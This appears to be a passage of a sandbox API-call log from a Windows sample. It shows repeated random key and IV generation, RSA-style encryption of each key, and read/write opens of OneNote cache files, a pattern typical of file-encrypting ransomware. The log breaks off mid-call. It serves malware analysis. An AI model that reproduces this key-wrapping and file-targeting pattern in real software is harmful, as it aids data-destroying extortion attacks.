[0173.082] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.095] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e288) returned 1 [0173.096] CryptGetKeyParam (in: hKey=0x66e288, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.096] CryptEncrypt (in: hKey=0x66e288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x37a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x37a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.096] GetLastError () returned 0x0 [0173.096] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.096] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.107] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e5c8) returned 1 [0173.108] CryptGetKeyParam (in: hKey=0x66e5c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.108] CryptEncrypt (in: hKey=0x66e5c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x37b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x37b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.108] GetLastError () returned 0x0 [0173.108] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.108] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000007.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000007.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.108] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.113] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.113] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.113] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.113] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0173.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.118] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.118] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.118] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.118] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.132] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e2c8) returned 1 [0173.132] CryptGetKeyParam (in: hKey=0x66e2c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.132] CryptEncrypt (in: hKey=0x66e2c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x37c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x37c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.132] GetLastError () returned 0x0 [0173.132] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.132] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0173.146] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e348) returned 1 [0173.146] CryptGetKeyParam (in: hKey=0x66e348, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.146] CryptEncrypt (in: hKey=0x66e348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x37d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x37d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.147] GetLastError () returned 0x0 [0173.147] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.147] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000008.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000008.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.147] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.152] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.152] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.152] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.157] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.157] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.157] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.157] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.171] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e7c8) returned 1 [0173.171] CryptGetKeyParam (in: hKey=0x66e7c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.171] CryptEncrypt (in: hKey=0x66e7c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x37e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x37e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.172] GetLastError () returned 0x0 [0173.172] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.172] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0173.186] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e308) returned 1 [0173.186] CryptGetKeyParam (in: hKey=0x66e308, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.186] CryptEncrypt (in: hKey=0x66e308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x37f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x37f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.186] GetLastError () returned 0x0 [0173.186] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.186] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000009.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000009.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.186] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.191] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.191] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.191] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.191] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.195] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.195] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.195] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.195] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.207] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e4c8) returned 1 [0173.207] CryptGetKeyParam (in: hKey=0x66e4c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.207] CryptEncrypt (in: hKey=0x66e4c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3800000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3800000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.207] GetLastError () returned 0x0 [0173.207] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.207] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0173.219] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e488) returned 1 [0173.219] CryptGetKeyParam (in: hKey=0x66e488, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.219] CryptEncrypt (in: hKey=0x66e488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3810000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3810000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.219] GetLastError () returned 0x0 [0173.219] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.219] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000C.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000c.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.219] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0173.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.223] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.223] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.223] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.223] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.227] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.227] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.227] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.227] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.227] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.243] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e148) returned 1 [0173.243] CryptGetKeyParam (in: hKey=0x66e148, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.243] CryptEncrypt (in: hKey=0x66e148, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3820000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3820000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.243] GetLastError () returned 0x0 [0173.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.243] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0173.259] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e108) returned 1 [0173.259] CryptGetKeyParam (in: hKey=0x66e108, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.259] CryptEncrypt (in: hKey=0x66e108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3830000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3830000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.259] GetLastError () returned 0x0 [0173.260] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.260] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000D.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000d.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.260] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.265] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.265] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.265] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.265] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.265] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0173.268] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.269] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.269] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.269] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.269] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.280] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e648) returned 1 [0173.280] CryptGetKeyParam (in: hKey=0x66e648, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.280] CryptEncrypt (in: hKey=0x66e648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3840000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3840000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.280] GetLastError () returned 0x0 [0173.280] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.280] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0173.292] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e388) returned 1 [0173.292] CryptGetKeyParam (in: hKey=0x66e388, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.292] CryptEncrypt (in: hKey=0x66e388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3850000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3850000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.292] GetLastError () returned 0x0 [0173.292] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000F.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000f.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.293] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.298] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.298] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.298] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.298] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.303] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.304] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.304] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.304] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.304] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.318] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e808) returned 1 [0173.318] CryptGetKeyParam (in: hKey=0x66e808, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.318] CryptEncrypt (in: hKey=0x66e808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3860000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3860000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.318] GetLastError () returned 0x0 [0173.318] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.318] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.334] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e688) returned 1 [0173.334] CryptGetKeyParam (in: hKey=0x66e688, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.334] CryptEncrypt (in: hKey=0x66e688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3870000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3870000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.334] GetLastError () returned 0x0 [0173.334] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.334] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000G.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000g.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.335] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.340] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.340] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.340] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.345] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.346] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.346] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.346] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.360] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e248) returned 1 [0173.360] CryptGetKeyParam (in: hKey=0x66e248, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.361] CryptEncrypt (in: hKey=0x66e248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3880000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3880000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.361] GetLastError () returned 0x0 [0173.361] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.361] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.377] CryptImportKey (in: 